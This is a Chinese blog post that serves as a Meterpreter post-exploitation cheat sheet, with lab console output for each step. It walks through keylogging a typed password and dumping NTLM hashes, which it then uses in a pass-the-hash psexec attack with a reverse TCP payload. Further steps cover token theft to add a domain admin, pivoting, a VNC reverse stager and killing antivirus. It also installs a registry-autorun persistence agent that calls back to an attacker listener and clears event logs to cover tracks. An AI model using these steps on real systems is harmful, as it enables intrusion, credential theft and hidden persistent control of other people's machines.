Meterpreter

最新推荐文章于 2024-05-11 20:03:59 发布

kalimsfliak

最新推荐文章于 2024-05-11 20:03:59 发布

阅读量1.9k

点赞数

文章标签：安全

本文链接：https://blog.csdn.net/qq_31411551/article/details/106273262

版权

基本命令

background 将meterpreter终端隐藏在后头
sessions 查看已经成功获取的会话，如果想继续和某个会话进行交互，使用session -i命令
quit 关闭当前会话
shell 可以获取系统的控制台shell
irb 可以在meterpreter中与ruby交互

文件系统命令

cat 查看文件内容
getwd 获得目标机上当前的工作目录

upload 上传文件

meterpreter > upload -h
Usage: upload [options] src1 src2 src3 ... destination

Uploads local files and directories to the remote machine.

OPTIONS:

    -h        Help banner
    -r        Upload recursively

download 下载文件
edit 可以调用vi编辑器，进行编辑

search 搜索

Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...
Search for files.

OPTIONS:

    -d <opt>  The directory/drive to begin searching from. Leave empty to search all drives. (Default: )
    -f <opt>  A file pattern glob to search for. (e.g. *secret*.doc?)
    -h        Help Banner
    -r <opt>  Recursivly search sub directories. (Default: true)

网络命令

ipconfig 查看网络接口信息

portfwd 端口转发

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

    -L <opt>  Forward: local host to listen on (optional). Reverse: local host to connect to.
    -R        Indicates a reverse port forward.
    -h        Help banner.
    -i <opt>  Index of the port forward entry to interact with (see the "list" command).
    -l <opt>  Forward: local port to listen on. Reverse: local port to connect to.
    -p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.
    -r <opt>  Forward: remote host to connect to.
meterpreter > portfwd add -l 1234 -p 6001 -r 192.168.1.130
[*] Local TCP relay created: :1234 <-> 192.168.1.130:6001

route 显示路由信息

系统命令

ps 获得正在运行的进程信息
migrate 将meterpreter会话从一个进程移植到另一个进程中

execute 在目标机上执行文件

meterpreter > execute
Usage: execute -f file [options]
Executes a command on the remote machine.

OPTIONS:

    -H        Create the process hidden from view.
    -a <opt>  The arguments to pass to the command.
    -c        Channelized I/O (required for interaction).
    -d <opt>  The 'dummy' executable to launch when using -m.
    -f <opt>  The executable command to run.
    -h        Help menu.
    -i        Interact with the process after creating it.
    -k        Execute process on the meterpreters current desktop
    -m        Execute from memory.
    -s <opt>  Execute process in a given session as the session user
    -t        Execute process with currently impersonated thread token
meterpreter > execute -H -f cmd.exe
meterpreter > execute -H -m -d calc.exe -f wec.exe -a "-o foo.txt"

getpid 获得当前会话所在进程的PID
kill 终结会话
getuid 获得运行meterpreter会话的用户名
sysinfo 得到目标系统的一些信息
shutdown 关机

1. 截屏

meterpreter > screenshot 
Screenshot saved to: /root/fLvRrVTL.jpeg

2. sysinfo

meterpreter > sysinfo
Computer        : DH-CA8822AB9589
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/win32
meterpreter >

3. 获取键盘记录,`run post/windows/capture/keylog_recorder`

meterpreter > ps

Process List
============

 PID   PPID  Name                 Arch  Session  User                           Path
 ---   ----  ----                 ----  -------  ----                           ----
 0     0     [System Process]                                                   
 ...        
 1308  1012  explorer.exe         x86   0        DH-CA8822AB9589\Administrator  C:\WINDOWS\Explorer.EXE
 ...

meterpreter > migrate 1308
[*] Migrating from 1420 to 1308...
[*] Migration completed successfully.
meterpreter > run post/windows/capture/keylog_recorder 

[*] Executing module against DH-CA8822AB9589
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20180926160428_default_10.10.10.100_host.windows.key_347969.txt
[*] Recording keystrokes...
^C[*] User interrupt.
[*] Shutting down keylog recorder. Please wait... 

root@kali:~# vi /root/.msf4/loot/20180926160428_default_10.10.10.100_host.windows.key_347969.txt 
Keystroke log from explorer.exe on DH-CA8822AB9589 with user DH-CA8822AB9589\Administrator started at 2018-09-26 16:04:28 +0800

1qaz2w
sx3edc4rfv5tgb

Keylog Recorder exited at 2018-09-26 16:04:55 +0800

4. 挖掘用户名和密码`hashdump`,`use priv`

windows系统存储哈希值的方式一般为LAN Manager（LM）、NT LAN Manager（NTLM），或NT LAN Manager v2（NTLMv2）。
在LM存储方式中，当用户首次输入密码或更改密码的时候，密码被转换为哈希值，由于哈希长度的限制，将密码切分为7个字符一组的哈希值。以password123456的密码为例，哈希值以passwor和d123456的方式存储，所以攻击者只需要简单地破解7个字符一组的密码，而不是原始的4个字符。而NTLM的存储方式跟密码长度无关，密码password123456将作为整体转换为哈希值存储。

meterpreter > use priv
[-] The 'priv' extension has already been loaded.
meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 7be839f49edcab29c3a40fe24d47335f...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:32f842845a64f17ccbe6b10315169b7e:83789c0d8506a618d815fd9c6fb379e1:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bb5a5a239a6e521be591fdf091b05013:::
IUSR_DH-CA8822AB9589:1003:de8b8cec054052bb8ab2d451a3e61856:145f992fa5ff125301520f8e27419c6d:::
IWAM_DH-CA8822AB9589:1004:90b05d38a1fc8d80a4ae31c7bc961352:2f950167d2942f7c977fdfd1857b8a59:::

以aad3b435开头的哈希值是一个空的或不存在的哈希值（空字串的占位符）

5. 传递哈希值

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 10.10.10.200
LHOST => 10.10.10.200
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 10.10.10.100
RHOST => 10.10.10.100
msf exploit(psexec) > set SMBUSER administrator
SMBUSER => administrator
msf exploit(psexec) > set SMBPASS 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
SMBPASS => 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf exploit(psexec) > exploit 

[*] Started reverse TCP handler on 10.10.10.200:443 
[*] 10.10.10.100:445 - Connecting to the server...
[*] 10.10.10.100:445 - Authenticating to 10.10.10.100:445 as user 'administrator'...
[-] 10.10.10.100:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
[*] Exploit completed, but no session was created.

6. 权限提升

meterpreter > use priv
[-] The 'priv' extension has already been loaded.
meterpreter > getsystem 
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > getuid
Server username: DH-CA8822AB9589\bob
meterpreter >

7. 令牌假冒

7.1 使用PS

meterpreter > ps

Process List
============

 PID   PPID  Name                 Arch  Session  User                 Path
 ---   ----  ----                 ----  -------  ----                 ----
 ...
 344   1308  cmd.exe              x86   0        DH-CA8822AB9589\Administrator  C:\WINDOWS\system32\cmd.exe
 ...

7.2 使用`steal_token`命令假冒域管理员账号

meterpreter > steal_token 344
Stolen token with username: DH-CA8822AB9589\Administrator

7.3 或者使用incognito模块列举出令牌

meterpreter > use incognito 
Loading extension incognito...success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
DH-CA8822AB9589\Administrator
DH-CA8822AB9589\bob
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

7.4 扮演Administrator令牌并添加一个新用户：

meterpreter > impersonate_token DH-CA8822AB9589\\Administrator
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user DH-CA8822AB9589\Administrator
meterpreter > add_user omgcompromised password -h 10.10.10.100
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[*] Attempting to add user omgcompromised to host 10.10.10.100
[+] Successfully added user
meterpreter > add_group_user "Domain Admins" omgcomoromised -h 10.10.10.100
[*] Attempting to add user omgcompromised to group Domain Admins on domain controller
10.10.10.100
[+] Successfully added user to group
meterpreter >

8. 通过跳板攻击其他机器

使用 `run get_local_subnets`,`background`,`route add`,`route print`,

meterpreter > sysinfo
Computer        : ANTENNA-B23E701
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 5
Meterpreter     : x86/windows
meterpreter > run get_local_subnets 

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.10.10.0/255.255.255.0
Local subnet: 192.168.1.0/255.255.255.0
meterpreter > background
[*] Backgrounding session 1...

msf exploit(unix/ftp/vsftpd_234_backdoor) > route add 10.10.10.0 255.255.255.0 1
[*] Route added
msf exploit(unix/ftp/vsftpd_234_backdoor) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.10.10.0         255.255.255.0      Session 1

[*] There are currently no IPv6 routes defined.

或者使用`load auto_add_route`,在攻击远程机器前使用，在攻破系统同时会有一个添加路由的操作

9. 使用Meterpreter脚本

VNC

meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.210 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\LvyqUgisvE.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.1.210:4545...
meterpreter > Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "antenna-b23e701"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

解锁桌面，`run screen_unlock`

迁移进程，`run post/windows/manage/migrate`

关闭杀毒软件，`run killav`

获取系统密码哈希值,`run hashdump`

查看目标机上所有流量,`run packetrecorder -i 1`

攫取系统信息,`run scraper`

控制持久化

运行persistence脚本让系统开机自动启动Meterpreter（-X），50秒（-i 50）重连一次，使用的端口为443（-p 443），连接的目的地址为192.168.1.210 。

meterpreter > run persistence -X -i 50 -p 443 -r 192.168.1.210

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/ANTENNA-B23E701_20180926.5455/ANTENNA-B23E701_20180926.5455.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.210 LPORT=443
[*] Persistent agent script is 99665 bytes long
[+] Persistent Script written to C:\WINDOWS\TEMP\YNbvBYkWbM.vbs
[*] Executing script C:\WINDOWS\TEMP\YNbvBYkWbM.vbs
[+] Agent executed with PID 2488
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\mPPZphFTpXu
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\mPPZphFTpXu

在192.168.1.210上使用use multi/handler并设置必要的参数进行监听：

msf > use multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > set LHOST 192.168.1.210
LHOST => 192.168.1.210
msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.210:443 
[*] 192.168.1.111 - Meterpreter session 1 closed.  Reason: Died
[*] Sending stage (179779 bytes) to 192.168.1.111
[*] Meterpreter session 7 opened (192.168.1.210:443 -> 192.168.1.111:1026) at 2018-09-26 11:08:42 -0400
[*] AutoAddRoute: Routing new subnet 10.10.10.0/255.255.255.0 through session 7
[*] AutoAddRoute: Routing new subnet 192.168.1.0/255.255.255.0 through session 7
[-] The 'stdapi' extension has already been loaded.

meterpreter >

10. 将命令行shell升级为Meterpreter,`sessions -u {sessionsid}`

11. 通过附加的Railgun组件操作Windows API

meterpreter > irb
[*] Starting IRB shell
[*] The "client" variable holds the meterpreter client

>> client.railgun.user32.MessageBoxA(0,"Hello","World","MB_OK")
meterpreter > irb
[*] Starting IRB shell
[*] The "client" variable holds the meterpreter client

>> client.sys.config.sysinfo()
=> {"Computer"=>"ROOT-TVI862UBEH", "OS"=>"Windows .NET Server (Build 3790).", "Architecture"=>"x86", "BuildTuple"=>nil, "System Language"=>"en_US", "Domain"=>"WORKGROUP", "Logged On Users"=>2}
>> client.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>true}
>> client.railgun.kernel32.SetThreadExecutionState("ES_CONTINUOUS|ES_SYSTEM_REQUIRED")
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>2147483648}

12. 掩踪灭迹

clearev 清除访问日志
timestomp 修改文件的创建、最后访问的时间

13. 内网拓展

添加路由用route命令添加路由
进行端口扫描
利用哈希口令进行攻击
MS08-068和MS10-046漏洞配合
搭建SMB服务器 smb_relay模块
结果分析

15. 信息窃取

dumplink 获得目标主机最近进行的系统操作，访问文件和文档的操作记录
enum_applications 获得目标主机安装的软件，安全更新与漏洞补丁的信息
keyscan 键盘记录的用户输入模块

14. 口令摄取和利用

网络嗅探 sniffer模块
通过浏览器进行摄取 enum_ie模块读取缓存的IE浏览器密码
系统口令摄取 hashdump 直接获取系统的密码哈希 smart_hashdump 后渗透模块hash口令利用：直接用破解工具破解或者直接重放利用psexec: 利用系统口令哈希进行传递攻击

kalimsfliak

关注

0
点赞
踩
7

收藏

觉得还不错? 一键收藏
0
评论
Meterpreter

1. 截屏meterpreter > screenshot Screenshot saved to: /root/fLvRrVTL.jpeg2. sysinfometerpreter > sysinfoComputer : DH-CA8822AB9589OS : Windows XP (Build 2600, Service Pack 3).Architecture : x86System Language : en_USDoma
复制链接

扫一扫